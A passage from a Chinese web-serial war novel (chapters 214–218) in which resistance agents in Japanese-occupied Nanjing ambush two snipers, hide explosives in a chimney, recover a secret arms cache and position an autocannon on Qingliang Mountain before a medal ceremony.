当然这些话都是在徐格未上车前交流的,在车上,老储向他们说了对镰刀的印象,用老储的话说,这位年纪三十出头的年轻首长自信心爆棚,思虑缜密,遇事从容,决策果断,这在他见过的所有共产党领导人中独一无二,无人可与之媲美。老储还透露,镰刀在会议上还详尽地分析了他们此番前往会遇到的所有可能,其中最大的可能,就是如此隆重的授勋仪式,这栋楼房作为鼓楼广场东北角最高的建筑,敌人不可能视之若罔,镰刀以己度人,说如果他是敌人的指挥官,定会派枪法好的士兵埋伏在此,来更好地控制局势,而埋伏的最佳时机,不是在明天,应该是在今天深夜。因而,他一再叮嘱储洪义,在他们潜伏进大楼的过程中,极有可能和敌人遭遇。 小主,这个章节后面还有哦,请点击下一页继续阅读,后面更精彩!这样的分析使得储洪义一下子成为了镰刀的铁杆粉丝,他对这位年龄相仿的首长佩服得五体投地,故而才把张遥他们留下,以应对可能出现的意外。 然而,让张遥和陈大军不解的是,自从徐格上车后,储洪义沉默寡语起来。 张遥站在车外一根接一根抽了四根烟,约摸过了二十分钟,他终于听到了大楼里传来脚步声,显然是老储他们已执行完任务。张遥抑不住欣喜,心想任务总算完成,可以全身而退了。 此念头还没闪过,他忽然看到数十米开外有两个人影正穿过广场朝着自己的方向快速逼近。 张遥赶紧咳嗽一声。 陈大军一愣,反应还算快,马上按了一声汽车喇叭。 大楼内的储洪义二人立即收住脚步,拔出手枪隐在门后。 张遥大踏步迎上去,用日语高喝一声:“口令!” “邮递马车。”两个人影几乎异口同声。 张遥并不罢休,跑步上前,很快来到他们面前。是两名手持狙击步枪的便服男子,月光下看不出具体的年龄。张遥用身体挡住了两人的视线,已把枪口对准二人,佯装出一副高度警惕的样子,继续斥问道:“什么人?” 这二人正是工藤夕贵的狙击小组成员,前来占据此处制高点,其中一人乃是牧野和他的队员。 “警备司令部的,我们是狙击小组成员,负责今夜占领这座大楼。”牧野不屑说道。 听到对方的身份,张遥并不意外,这完全和镰刀的预见吻合。 “证件?”张遥一脸狐疑继续发问。 牧野对这个凭空冒出的少佐也并不意外,这之前他已看到了大楼门前停着的一辆依旧发动着的轿车,他知道今夜极其关键,早就听说宪兵司令部将会彻底筛查这一片区域,眼前的少佐大概就是执行此项任务。但一想到自己是担任核心要务的狙击小组,优越感油然而生,便没把来人放在眼里,神情间傲慢起来。 “证件!”张遥又厉声道,他的枪口不自觉抬高了少许。 看到对方把枪口对准自己,牧野心中大为不爽,口气已然不满,“证件?我们手里的狙击步枪就是最好的证件!” “八嘎!”张遥显得怒不可遏,枪口毫不犹豫地顶在对方的脑门上。 牧野身旁的那名队友入伍时间不长,要低调很多,见局面很僵,赶紧掏出证件递给张遥。 张遥借坡下驴,这才放下手枪,把证件大概翻了翻,就还给他了。 “以后遇到长官,不可如此无礼!”张遥面对递证者,目光却瞟着牧野。 牧野也不想把事情闹大,再说对方盛气凌人,气势就矮了下来,掏出证件送给张遥,张遥不耐烦挥挥手,把它挡了回去,语重心长起来:“明天你们给我睁大眼睛!”说完向轿车走去。 两名狙击手放慢脚步跟在身后。 来到车前,张遥瞥了一眼后座,发现储洪义他们并未上车,一颗心又悬了起来,便没有上车,轻轻关上车门,把胸口贴在车身上,回头打量了一眼两名狙击手。 两名狙击手却步伐迟缓,并不着急,正在窃窃交谈着什么。 另一人对牧野抱怨道:“这名少佐好像成心刁难我们,给他证件,他也不认真看。” 牧野皱着眉头,心中气闷,好一会儿才恨恨道:“宪兵司令部都是一帮不作为的猪猡,官僚作风已盛行到不可饶恕的地步!” 他的队员赶紧点头连连称是。 牧野咬牙道:“待会儿我也要看看他的证件,有机会我一定要告告他的状!” 另一人赶紧制止,“牧野少尉,我看算了吧,正事要紧!” 牧野没有坚持,不由加快了脚步。两人从车头绕过,向着大楼走去。 转眼间已抵达大楼门口。 张遥顿时不知如何是好,他根本想不明白,指导员和徐格为何不利用他拖住敌人之机,悄然登车,本来这样的机会是极佳的。 情急之下,张遥脱口喊了一句:“等等……” 牧野和队员不知少佐为何事叫他们,停下脚步,脸上布满疑虑。 “……我……我给你们看一下我的证件……”张遥急中生智,趋步上前。 可他才迈出几步,忽然看到两人的身后冲出两名身影,以迅雷不及掩耳之势,扼住了二人的咽喉,他分明听到了清脆的“咔擦”声,还没清楚发生了什么,只见两名狙击手已委倒于地。 这两个身影正是储洪义和徐格。 紧接着,储洪义和徐格把两具尸体拖到了屋内。 张遥也掩身进屋,不解问道:“计划没要求我们杀人吧?” “不,这也是计划的一部分!”徐格终于开口说话,话语中满是兴奋。 储洪义捡起二人的狙击步枪,扔给张遥一支,自己紧攥着另一支,“你真幸运,居然梦想成真!” “是啊,这还得感谢你们共产党。” “怎么回事?”张遥迫切问道。 “哦,这位徐兄弟和咱不是一路的,他是重庆方面的,我们这是友情赞助!” “储兄何出此言?国难之际,地不分南北、人不分老幼,皆有守土抗战之责!”徐格一边说一边把储洪义手中的狙击步枪拽了过去,接着道:“本来这次就没指望能够混进来,现在可好,不但进来了,还扫清了障碍!” 喜欢枪膛线请大家收藏:()枪膛线更新速度全网最快。 第215章 泰然若素 徐格借着外面辉映的月色,把玩着手里的狙击步枪。 储洪义看到这样的情形,连忙伸手要抢。 “储兄弟,别这么小气嘛,这支枪就归我了,我明天有大用处,你总不能让我两手空空执行任务吧!” “你的枪法咋样?”储洪义一阵心疼,只得曲线救国。 “我那是科班出身,自然没得说!”徐格自豪地抢白了储洪义一句,“前些日子,我在中山东路上一枪狙杀了一名汉奸,据说此人是梁洪之的特使,来南京是负有特殊使命的!” “哦,真的吗?”储洪义有些沮丧。 “当然!” “自打我拿到这支枪后,你是不是早有觊觎?” “不,我也就是临时起意吧!” “鬼才相信,我就问你,你既然和我们一同前来,为何不自带枪?” 徐格翻了翻眼睛说道:“要听真话吗?”听到储洪义的喉咙里挤出一个“嗯”字,徐格意气风发说道:“对于本次任务,我们的头儿压根儿就没相信你们的判断,他认为你们递过去的分析近乎于鬼话,我也就是过来打打酱油的!” 储洪义明白徐格刻意不想让自己知道实情,也就不再纠缠。但终归掩盖不了被他巧取豪夺了一把狙击步枪的事实,这对于很少见过如此高端武器(狙击步枪上自带四倍瞄准镜)的储洪义来说,怎么也无法介怀,内心一阵绞痛。 这时徐格看到储洪义魂不守舍的样子,话锋一转:“别纠结了,不就是一支九七式狙击步枪吗,好像是要了你的命一样,再说你们不是还有一支吗?等我执行完任务,我还你不就得了!” “我们共产党不比你们国民党家大业大的,何况这是一支狙击步枪啊!” “不是我说你,储兄,真正的好枪你是没见过,我们南京军统站就有一支纯种的毛瑟98K狙步,只是我们站长不让我碰,说它有主人,把我气死了!” “呵呵……”储洪义心不在焉敷衍着,“这么说来,你明天担任的也是狙击任务喽?” 黑暗中,徐格点了点头。 “你们军统这次准备杀谁?”储洪义追问道。 “恕我不能说得太多……对了,你那包裹里装的到底是什么?还有,你们来的路上,在谈什么天气,这到底怎么回事?” 一句话提醒了储洪义,他边思索边道:“这是一包炸药……你可得小心!” “炸药?为什么要把炸药放在屋顶上?还有,你们准备什么时候引爆?谁来引爆?” “这些你就别多问了,你只要记住一点,离楼顶的烟囱远点!” 徐格有些不甘心:“离它远些可以做到,但你们不能把我置于危险之中啊!” 储洪义忧心忡忡说道:“这件事还真不好办!关键是我们控制不了啊!”说着又道:“你们上级给你的任务就是狙击?” “对不起,我说过,这一点无可奉告!”徐格断然道。 “那我也对不起了,看来你的命运只能听天由命了!”看到徐格蹙眉,储洪义只得换了种口气安慰道:“反正我忠告你两点,第一执行完任务赶紧撤离这栋大楼,第二,远离屋顶的烟囱!” 说完,储洪义和徐格一道把两具尸体藏了起来。 把现场清理完毕,徐格一人爬上了楼梯。 储洪义带着张遥出了大楼,来到车旁,当即开门入内,对陈大军轻声道:“走!” 陈大军松开离合器,轻点油门,福特轿车缓缓起步,在满目疮痍的喷泉池边绕了一圈,掉头向西南方向而去。 汽车沿原路快速返回,很快抵达田中毅的卡哨。 中尉田中毅看到这辆熟悉的轿车,依旧热情满满迎上去,并亲自搬开路中央的拒马。张遥把手伸出车窗外,恋恋不舍和他作别。 车一出警戒圈,陈大军迫不及待问储洪义:“指导员,炸药所藏的地方安全吗?” “这你放心,临行前镰刀已反复交待过,一定要防备鬼子的再次搜查,千万不能暴露。” “那就好。” “你们猜猜我把它藏哪儿啦?” “肯定是在屋顶上,只有屋顶上才能见到阳光,没有太阳光这东西也不见效果呀!”陈大军道。 张遥已知答案,径直问:“指导员,烟囱里能容下吗?还有它的配套设施呢?” “完全可以,这包炸药的当量不大,我想镰刀同志主要目的就是制造现场混乱,伤不了什么人的!还有,我把它的配套设施设在瓦片上一个极不显眼的地方!” “这对徐格有危险吗?” “应该不会,否则镰刀同志断然不会允许他参与我们行动的!”储洪义思忖俄顷,又补充道:“要不,镰刀同志对徐格的这次搭顺风车根本就没抱什么希望!” 轿车离开北平西路,拐上了虎踞路。 月亮已偏向西南方,但依旧很圆。 储洪义不由想起来时路上张遥的那句话,心中一直萦绕着一个疑问,此时,徐格不在,正好可以探问一番。 “张遥,我记得老曲和我提起过,你是有一半的中国血统,又极度厌倦了战争,这才改弦易辙加入了我们,是不是这样?” 这章没有结束,请点击下一页继续阅读!张遥扭头看着储洪义,“……是啊!”说完把脑袋转了回去。 “你看着我!”储洪义微微提高了声音。 张遥于是照做。 “我不是不相信你,事实证明,自你加入我们后,表现非常不错,同志们有口皆碑……但我总觉得这里面一定另有隐情!” 张遥长叹一口气,苦笑起来:“是的,指导员火眼金睛,我脱离这支军队确实是因为我对他们的憎恶已至无法容忍的地步,尽管我父亲也是一名日本人。日本人不但残暴、没人性,还……” “还什么?”储洪义轻声逼问。 张遥又一声叹气,干脆把身子完全转了过来,面对储洪义和陈大军,开始娓娓而谈他的故事! …… 建业客栈内那间隐蔽的院落里,只剩下三人。 这三人分坐在院子里的两张板凳上,镰刀独坐一张,曲思冬和老冒合坐一张。 三人沐浴在轻曼的夜色中,正接受着如华的月色的洗礼。镰刀老样子,烟不离手,但和平素唯一的区别是,他抽烟没那么勤了,只是偶尔啜上一口。其余的大部分时间,他气定神闲地仰望天际。 三人中,唯有曲思冬显得坐立不安,他的屁股在板凳上扭来扭去,后来干脆站起来,在院子里来回踱步。他的余光不断打量着镰刀,可是镰刀对这一切视而不见。 好几次,曲思冬欲言又止。 到最后,曲思冬终于忍不住了,走近镰刀,先是看了他一眼,镰刀也回头看他,就这样,曲思冬才嗫嚅道:“镰刀同志,我不明白你把我单独留在这里,到底有何任务?” “急了?”镰刀微笑问道。 “我……能不急吗?”曲思冬口气软下来,“老储他们都已开始行动了,就我干耗着!”曲思冬挨着镰刀坐下,几乎是哀求的语气:“首长,明天天一亮,我妹妹就要被行刑了,我哪有心情坐在这儿陪你看月亮,您总得让我做点什么吧!” “你说说看,你准备怎么办?” “我把从茅山带回的兄弟全带上,好好闹他一下,把我妹妹抢回来!” “哦,大闹法场?”镰刀一本正经起来:“你这个想法够大胆,从数百名鬼子的戒备中突击进去?就凭你们这几条枪?” “我知道太冒险,可是曲思秋是我妹妹啊!我不能眼睁睁看她赴死,而我这个当哥哥的什么也不去做!” “曲思冬同志,你的想法我理解,但记住,我们千万不能蛮干!”镰刀顿了顿又道:“你如果这样做,恐怕还没见到曲思秋同志,你们就向阎王爷报到了,这个亏本的买卖傻瓜才干!” “那你总不能见死不救吧?”曲思冬绝望起来,“就你那一小包炸药也解决不了问题啊!” “你看,你又急了吧!你想成大事这样的脾气就得改!”镰刀毫不留情呛了他一句。 看到曲思冬痛苦地抓着自己的头发,镰刀的口气委婉起来,“思冬,不要着急,明天我会给你、给曲思秋一个交待的!” 曲思冬稍稍心安,但依旧不死心:“你有计划了?” “我不能保证百分百成功,但我们会尽力的!”说着镰刀拍了拍他的肩,“其实我觉得你的那位林兄弟要比你稳重多了,你要向他多学习……” 这样的话此时此刻曲思冬根本听不进去,他一心想知道镰刀的具体计划,毫不留情打断道:“镰刀同志,能方便透露一下你的计划吗?” “没问题呀!” 镰刀在曲思冬期望的眼神中,又掏出一根烟,刚吸了一口,忽然外面的马路上传来汽车的引擎声,镰刀侧耳聆听,并抬起手腕看了一下时间,缓缓道:“他们来了!” 一旁的老冒赶紧站起身来,先于二人走到墙边,拉开了那扇镶在建业客栈砖墙上的房门。 “是不是储洪义他们执行完任务回来了?”曲思冬好奇问道。 “不,是接我们的车来了!”镰刀把手里的那根烟凑到嘴上,大吸了几口,恋恋不舍弹飞半截烟。 “跟我一起来!”镰刀头也不回吩咐曲思冬,跟着老冒弯腰钻进过道。 “你不是想干一票大的吗?我这就带你去!”过道里,镰刀向曲思冬甩过来一句话。 喜欢枪膛线请大家收藏:()枪膛线更新速度全网最快。 第216章 武装到牙齿 建业客栈门前的路边,停着一辆未熄火的轿车。 三人从隐蔽的过道鱼贯而出,穿过客栈的走廊,出了大门。老冒快步走近轿车,一边四处巡视一边拉开车后门,待镰刀入座后,自己也坐了进去。 副驾驶座留给了曲思冬,曲思冬登车之际,和驾驶员的目光不经意交汇,这一对视,他不禁“咦”了一声。 “怎么是你?”曲思冬惊奇喊了一声。 驾驶员也很意外,下意识回敬一句:“是你呀!” 曲思冬右手捂在脑门上,略一思索,脱口道:“我想起来了,你是赵楷。” 赵楷微微一笑,“曲兄弟真是健忘……”说着没等任何人指令,已徐徐启动汽车。 汽车车身剧烈晃了一下,上了宽阔的建业路大街,这时后排的镰刀不失时机问道:“你们认识?” “我认识他妹妹曲思秋。”赵楷抢先说道。 他的话顿时让车上的乘客陷入了沉思,足足一分钟后,镰刀打破沉默,“赵先生,你这是带我们去哪儿?” “城南,应天路上有一家砖瓦厂,陶老亲自在那里迎你们。” “让陶老费心了!” 接下来,车里面又是一片沉静,赵楷无意间提起了曲思秋的名字,让所有人都动了心思,三人中再没人愿意主动发声。 只能听到隆隆的发动机声。 曲思冬内心空荡荡的,仿佛已是没有魂魄的躯壳,他干脆把脑袋转向窗外。 赵楷不明就里,急于想活跃气氛,偏偏这个时候又问:“喂,思冬,思秋现在怎么样啦?” 曲思冬的面庞不自觉抽搐一下,这个时候他实在不想说话,尤其是关于妹妹的话题。他把脑袋转回来,扫了一眼赵楷,又把头别了过去。赵楷意识到他的问话有些唐突,连忙换了一个话题:“那辆福特水星款的车修好了吗?” 曲思冬如果再保持缄默,那就显得轻慢对方,只得敷衍道:“修好了……”为了不让赵楷无休无止问一些他不想回答的问题,曲思冬决定变被动为主动,话一说完,立即向赵楷发问道:“赵兄,我听你说过你和林赤很熟,你说说这个人怎么样?” “你为何有此一问?”赵楷疑惑地看了曲思冬一眼。 这句话一下子把曲思冬问住了,他竟不知如何作答。 “说实话我挺佩服他的!”赵楷补充道。 车厢里再无声音,十来分钟后,汽车从中山南路拐上了应天路,借着氤氲的月色,可见四周一片荒凉,道路坑坑洼洼起来,又经过数分钟的颠簸后,轿车在一条河边放慢了车速。 这是一条秦淮河的支流,紧挨河东岸,垒砌了两道砖墙,用钢条焊接的大门紧闭。车在大门口停下,赵楷闪了两下车灯,很快从河边的房子里冒出一个人影,一言不发打开了铁门。赵楷把车缓缓向里滑行,在和开门者擦肩时,他踩下了刹车,探头轻声问道:“陶会长在何处?” “三号窑。” 轿车沿着河边一条四五米宽的石子路向砖瓦厂深处行进而去。 大约前行了两百多米,一座十来米高的土窑矗立在右前方。 土窑旁边已停了一辆道奇卡车,赵楷把车停在其后,率先下车并打开后车门,低头对镰刀说到:“到了。” 赵楷领路,从卡车前矮身钻进窑洞,镰刀等三人紧随其后。 一进窑洞,镰刀诧异地发现,窑洞里不知从哪里接了一根电线,点亮的居然是一盏白炽灯。为了阻止亮光外泄,土窑的顶部盖着厚厚的芦苇编织席子,既挡光又遮雨。 赤盟会的会长陶天阙背手而立,他的周身,围站着七八人。 赵楷一见陶会长,赶紧说道:“会长,客人到了。” 陶天阙早就面向来者,他的目光绕过紧随赵楷的镰刀,径自落在了排在第二位的老冒身上,快步迎了上去,脸上洋起笑容,远远地把手伸向老冒,热情道:“欢迎你镰刀同志!” 老冒尴尬一笑,躲过陶天阙的手。镰刀微微转身,伸手接过陶会长的手,一把握住,使劲晃了晃。 “陶老,很高兴认识您!” 轮到陶天阙尴尬了,不过这样的尴尬只是昙花一现,陶天阙很快反应过来,手开始跟着镰刀的手有节奏晃动,“不好意思,老朽老眼昏花,有眼不识泰山!” “在您老面前哪有什么泰山?充其量也只能算是您的晚辈!” “岂敢岂敢,镰刀同志太过谦!” “如果是这样,我也就不谦虚了,您也不要叫我‘镰刀同志’啦,怪别扭的,我姓张,您不妨称我张同志,或者小张……要不您就直接喊我小兄弟吧!” “行!”陶天阙倒也爽快,马上改口道:“张兄弟,那我就不客气了,我是万万没想到共产党居然有你这么年轻的领导,更是万万没想到我上海的那位老友居然也是你的部下,要不是你派人送来他的亲笔信,我们之间压根不可能在这种地方见面的!” “那还是您老对我党了解不多,在我党内部,像我这么年轻的同志,有的早就是军团长了,我进步不快,又不具备统兵打仗的天赋,这不,组织上就安排我来了南京?” 本小章还未完,请点击下一页继续阅读后面精彩内容!“张兄弟开玩笑吧,俗话说,好钢用在刀刃上,你如果没有过人之处,你们组织又怎能把你安排在这波诡云谲的凶险之地呢?” 镰刀的目光掠过陶天阙身后的众人,连忙把曲思冬和老冒让出身前,介绍道:“这二位和我一同前来,都是我党南京城的中流砥柱。” 陶天阙点头示好,赵楷上前一步,指着曲思冬小声对陶天阙道:“他就是曲思秋的哥哥曲思冬。” 陶天阙闻言对曲思冬微笑一下,跟着他也后退一步,闪出身后的众人,“他们几位便是我赤盟会的铁血勇士,我特地作了精选,尽是志勇之士,应老友要求,明天配合你们行动!” 镰刀听毕忽然深深向陶天阙鞠了一躬,庄重道:“陶老一片赤诚之心,我代表我党,向您表示最真挚的谢意!” “不必客气!”陶天阙捋了捋胡须,“我的意愿也是他们的意愿,他们也是堂堂的有血性的中国人,每一个人都算得上是热血男儿,在打鬼子这件事上,他们定责无旁贷!”说着陶天阙突然神色黯然起来:“我已老迈,既无心气,又无心力,实在没有能力领导他们抗战到底,遇到你这样一位能力卓越者来指导他们,着实是中华之幸!” “谢谢陶老的信任,也谢谢同志们的信任!我一定不辱使命,让小鬼子见识见识我大中华的抗战决心!” “很好!这是我亲手交给你的第一批勇士,他们尽是耍枪弄棍的好手,接下来我还会陆续给你输送人手,希望你带好他们!”陶天阙说到这儿,倏然提高声音,表情肃穆起来,“不过,有些话我说在前面,我真心希望你不要辜负了我,也不要辜负了我的这些兄弟!” 镰刀不再说话,缓缓走到众人面前,他的目光逐一从众人面庞扫过,掷地有声道:“同志们,我最初决定不日后潜往上海,并把我党宁沪的指挥枢纽设在上海,但如今我改主意了,我决定先经营南京!在此我郑重承诺,我镰刀如果带领大家不能把南京的抗战工作搞得有声有色,我绝对不会跨出南京城一步!” 镰刀面前的众人终于有了反应,纷纷颔首表示赞赏,一瞬间,土窑中的气氛热烈了起来。 镰刀看到陶天阙的脸上荡起了会心的笑容,也不再拘谨,走到他身旁,低声道:“陶老,听说您奇货可居,怎么样,贡献出来吧?” “那是自然!”陶天阙拉着镰刀的胳膊,向土窑里侧的砖墙走去,并笑吟吟问道:“呵呵,这个消息一定也是我那位老友透露给你的吧?” “如此天大的秘密,不是他告诉我还会有谁?” “我就知道是他!”陶天阙和镰刀二人并排站在砖墙前,一道转过身子,把脸面朝大家,这时,陶天阙咳嗽一声,扬起双臂向下压了压,轻微的喧嚣声立即荡然无存,所有人开始静静地看着他俩。 陶天阙扬声道:“诸位,你们都是我赤盟会的核心成员,承载着我的梦想,从今以后我们将以暴制暴,肩负大任,担负起驱除恶魔的历史重任!”陶天阙顿了顿,继续洋洋洒洒道:“既然需要我们以牙还牙,没有武器怎么行呢?所以今天,我要把你们武装起来,武装成一支让小鬼子闻风丧胆的虎狼之师!” 听到这儿,曲思冬的心忽然“砰砰”狂跳起来,他的血开始沸腾。 “来,赵楷、木强!”陶天阙开始点名。 赵楷和一位年龄相仿者快速走到陶天阙跟前。 陶天阙不慌不忙把身子转了一百八十度,面对土窑砖墙,抬起手用掌心在砖墙上拍了拍,一字一顿道:“你们二位这就把我身后的这面墙砸开!” 喜欢枪膛线请大家收藏:()枪膛线更新速度全网最快。 第217章 巨额财富 陶天阙和镰刀后退数步,给赵楷他们腾出地方。众人开始用铁锤和棍棒等工具撬开砖墙。 这个档口,镰刀说道:“陶老,此次前来,有样东西我一定要带走!” “张兄弟惦记我这里什么啦?” 镰刀正要回答,看到墙砖在众人合力下,很快被打开了一个小缺口,有砖块开始跌落,为防止墙面突然倒地,伤到老人家,镰刀赶紧把陶天阙向后牵引了数米。 缺口一开,拆卸工作意外顺利,十几只手有条不紊扒开墙砖,墙洞越扒越大,隐约可见砖墙后面竖立的一扇铁门。 人们更兴奋了,顷刻间把铁门前的墙砖清理干净。 一扇黑黝黝的铁门横亘在众人眼前。 陶天阙挣脱了镰刀的手,拨开人群,撩开长衫,从棉衣口袋里取出一把钥匙,把铁门上的一把锈迹斑斑的铁锁打开。随着他用力推门,尘土在灯光下四处飞扬。 陶天阙摸索着拉了一下墙上的电灯拉绳,铁门内的窑洞,瞬间被点亮。 “张兄弟,你进来吧!”陶天阙站在窑洞口,对镰刀招了招手。 没有陶天阙的许可,尽管内心好奇,但无一人入内,他们围在洞口,贪婪地向洞里张望。 曲思冬早就看出这是一间堆满武器的密室,不大的窑洞里,被各式木箱塞满。以他的经验,这些自然是武器的外包装。 此时的他站在人群边缘,目光和镰刀相遇,不由得会心一笑。 那一刻他内心感慨万千,有激动,有惊喜,有欣慰,还有自豪……这些所有的念头,都围绕一个核心——他的妹妹或许有救了! 镰刀顺势从一人手里抽走一根铁棍,快步进了窑洞,二话没说撬开一只木箱,看了几眼又撬开另一只…… “陶老,你太富有了,我简直不敢相信啊!”镰刀惊呼,转身盯着陶天阙:“你是它们的主人?” “非也……”陶天阙沉吟着,“准确讲,我是代人保管!” “什么人把这么贵重的东西交给你保管?” “当然是一位极亲近的好友喽!” “那……将来您老如何对交代?” “当然,我这是和他合伙做生意,我陶某人也是股东之一,非常时期,我相信我有绝对的处置权,将来遇到他,他会理解我的!”陶天阙显得满不在乎,“现在把它移交给贵党,也算是适得其所!” 镰刀松了口气,“我要向上级汇报,汇报陶老的大义之举!陶老,您此举相当了不起,您可知道,在中国的民族抗战史上,将会浓墨重彩记上您陶老一笔!” “汇报不汇报无妨!我也没你想得如此高尚!”陶天阙挥了挥手,又道:“老朽只是尽一名有良知中国人的本分!” 镰刀的眼睛开始四处搜寻,终于在角落里看到一个用油布遮掩的物件,脸上顿时洋溢着兴奋之情,回头对外面叫道:“思冬、老冒,你俩进来一下!” 曲思冬早已迫不及待,几乎是一个箭步冲了进来。 镰刀把铁棍递给曲思冬,“你们把这些箱子都打开看看,然后清点一下,我们必须给陶老一个交待!”说完趋步走向里侧墙角。 映入曲思冬眼帘的,是被镰刀撬开的那只木箱,里面整齐排列了一整箱的7.9mm毛瑟步枪,数量起码在一百支以上。 曲思冬心潮澎湃,热血贲张,信手抓起一支,才打量一眼,便对身旁的老冒夸张喊道:“奶奶的,居然全是德国原装进口的。” 这边还没说完,那边的镰刀已抖掉物件上的油布,他的声音激动得有些颤抖:“娘希匹,终于给我逮到了!” “张老弟是浙江人?”陶天阙打趣道。 “我是湖北人,但老蒋这句口头禅我万分喜欢,在我看来,老蒋一生中就这一句经典!” “这就是你所惦记的?” 陶天阙指着那件物件问镰刀。 “想死我啦!” ……曲思冬已目不暇接,听到镰刀的话中带着癫狂,好奇心大起,跑过去一看究竟。 以曲思冬的阅历,只要一眼,他已看出那件物件的来历。 油布下,陈放的是一门崭新的苏罗通S5-106 20毫米机炮,它呈四十五度的炮管使它怎么看都巍峨无比。 曲思冬略有些失望,脱口道:“首长,这门机炮有何用?” “此言差矣……”镰刀不理他,双手用力去抬机炮炮管,但无论怎么用力,只能抬高少许。 “这门苏罗通S5-106 20毫米机炮,是瑞士生产的,它的专门用途是用来打飞机,难不成首长想击落日机?”曲思冬内心充满狐疑。 “亏你还是堂堂的中央陆军军官学校的高材生,竟然呆板到不知灵活运用!”镰刀的口气充满不屑。 曲思冬看到对方不以为然,脑子快速转动,忽然间他用拳头敲了敲脑袋,顿时茅塞顿开,“哦,我明白了,您是想……”镰刀会意一笑,手指放在唇边,做了个噤声的手势, 曲思冬笑容灿烂,转身问陶天阙:“陶老,毛瑟步枪有多少支?” 本小章还未完,请点击下一页继续阅读后面精彩内容!“怎么的也有三百支吧!” “靠,这足以装备一个营了!”曲思冬乐颠颠道,“子弹有多少?” “对武器我是门外汉,反正所有的武器都在这间窑洞里,你们清点一下就清楚了!” “好咧!”曲思冬欢快地应了一句,马上又被老冒打开的另一箱里面的器物吸引。 整整一箱同样原装进口的7.9mm毛瑟手枪。 陶天阙把所有的人叫了进来,开始仔细清点武器,自己退至一边,喜滋滋看着热情高涨的人们。 半小时后,统计结果出来了。 324支毛瑟步枪,93支毛瑟手枪,7.9mm子弹近一万发, 7.9mm捷克ZB-26式轻机枪6挺, 7.99mm马克沁重机枪2挺,德国M24式手榴弹5箱,瑞士苏罗通S5-106 20毫米机炮一门,以及与之匹配的20mm弹药1000多发,清一色全是德国造。 “发财了!发财了!”曲思冬反复念叨着这句话。 临近尾声,镰刀和陶天阙走出窑洞,镰刀突然向陶天阙深深鞠了一躬,深情道:“陶老,谢谢了!” “张老弟,无需多言,你我心照不宣!”说着托起镰刀的身子。 “其实,一句‘谢谢’真的无法表达我的感激之情!”镰刀正色道,“总有一日,你我必定会以一种特殊的方式来庆祝胜利!” “那一天的到来,或许我已看不到了!” “只要所有的中国人团结起来,我相信这一天的到来,不会太迟,您有生之年,必将见到这一幕!” “有张老弟的鸿鹄之志,我相信!”陶天阙爽朗笑了笑,话锋一转:“这批武器能够赠与贵党,这说明了我和贵党之缘分,你不知道,贵党差点和这批武器失之交臂!” “哦?” “在前不久,我其实已做好打算,拟准备把它们交给另一人……” “谁呀?” “一位叫林赤的年轻人……”陶天阙脸上忽然布满阴霾:“可惜,他被日本人抓了!” “嗯,林先生我认识!” “张老弟也认识此人?”陶天阙有些诧异。 “何止认识,我们还有合作,我之所以能够平安潜入南京城,这主要归功于他啊!” “是吗……”陶天阙尽管想探问究竟,但还是忍住了。 “听说,如今的这位林先生,投靠了日本人?”镰刀试探道。 “不会!”陶天阙断然道,“我相信他不会,我到老虎桥监狱见过他,这小子精明着呢,他一定有他的算计!” “陶老这么自信了解他?” “谈不上多了解,不过我活了六十多年,在看人断人这方面,我陶某人还是相当自信的!” “那就好,毕竟少一个敌人对我们是有好处的……”镰刀忍不住又掏出烟,朝陶天阙扭捏地看了看,陶天阙忽然想起什么,从上衣口袋掏出两根雪茄,递给镰刀一根,“今天是个好日子,我们一起庆贺庆贺!” 镰刀赶紧接过雪茄,亲切地端详着它,迫切塞到嘴里。 陶天阙划了一根火柴,两人同时把雪茄对着火光点燃。 镰刀悠然吐了一口烟,吩咐曲思冬道:“思冬,你把每位同志都武装一下……记住,所有的子弹都通用的……还有,待会儿回去带足武器,另外,那门机炮你们一道给我抬回去!” “没问题!”曲思冬轻快应了一声。 交待完毕,镰刀思忖片刻,接过刚才的话题道:“林赤此人,我有两点印象,一此人狡猾,二此人刚毅!所以说他投降鬼子,我全当它是鬼话!” 陶天阙拔出嘴里的雪茄,也道:“我怎么感觉你们二人有很多相似的地方?” “我们像吗?”镰刀露出焦黄的牙齿,“在我看来我俩差别很大……起码我没他长得好看!” 这句看似玩笑的话,引得陶天阙一阵大笑。 雪茄才抽了一半,那边的曲思冬已准备好了一切,出来请示镰刀:“镰刀同志,已按你的要求配备妥当,可以出发了吗?” “好!” 陶天阙也吩咐赵楷,“我们回去吧!”说完把抽了一半的雪茄扔到地上,抬脚踩灭烟头。 镰刀夹着雪茄,走近砖墙,将雪茄头上的火光小心翼翼在墙砖上掐灭,然后把半截雪茄揣进了兜里。 “同志们,跟我走!”镰刀斗志昂扬说道。 喜欢枪膛线请大家收藏:()枪膛线更新速度全网最快。 第218章 授勋仪式前夜 “明月愁人夜未央,身陷囹圄思断肠。” 四周空旷冷寂,此时的曲思冬正坐在那辆道奇卡车的驾驶室里,伸头凝视着浩渺夜空中的一轮明月,他的脑海中忽然闪过一句即兴创作的诗句。 无论如何,在胞妹没有脱离魔爪之前,他的心中被满满的思念充溢。 汽车已被他发动,并调了个头,停在了砖瓦厂的门口,只是他并没有急于启动汽车,而是在等。 赵楷驾着那辆轿车,载着陶天阙先行离去,为防止撞上鬼子,镰刀特地作了安排,他让赵楷驾车在前面探路,两车保持一公里的距离,如果遇到鬼子的巡逻队,赵楷就按三声喇叭示警。 在这之前,镰刀已把接下来的计划向曲思冬全盘托出。 看到前方轿车的尾灯已模糊成两个红色的点,坐在副驾驶座上的镰刀低声道:“走!” 或许因为明天的授勋仪式设在南京城城中心区的鼓楼广场,鬼子的警力已有所偏重,亦或是时机得当,通过的时间恰恰是鬼子巡逻的空隙,故而在城南这块相对萧条的区域里,竟然一路平安。十一二分钟后,道奇卡车驶上建业路,在路过建业客栈时,镰刀并未有任何表示,而是继续前行五百多米,才让曲思冬停车。 镰刀带着五名赤盟会会员下了卡车,很快隐身于路北侧的一排房子后。老冒从车厢里跳下来,换坐到副驾驶位上。卡车继续在夜色中潜行,五六分钟后,他们来到清凉山脚下。 紧挨山脚下有一处寺院,老冒轻车熟路打开寺院大门,曲思冬把卡车径直开了进去,待老冒掩上大门后,他和老冒以及剩下的三名赤盟会成员合力从车厢里抬下那门依旧崭新的苏罗通S5-106 20毫米机炮。 清凉山只有一百多米高,几乎是南京行政区内最矮的山,但虽然如此,它依旧是南京城区最高的实物,站在清凉山山顶,对方圆十公里的范围内景致可以做到清晰可辨、一览无遗。沿着寺庙后的一条石板小径,五人没费多大事,就把苏罗通机炮架在了南京城区的最高点——清凉山顶的一座亭子里。 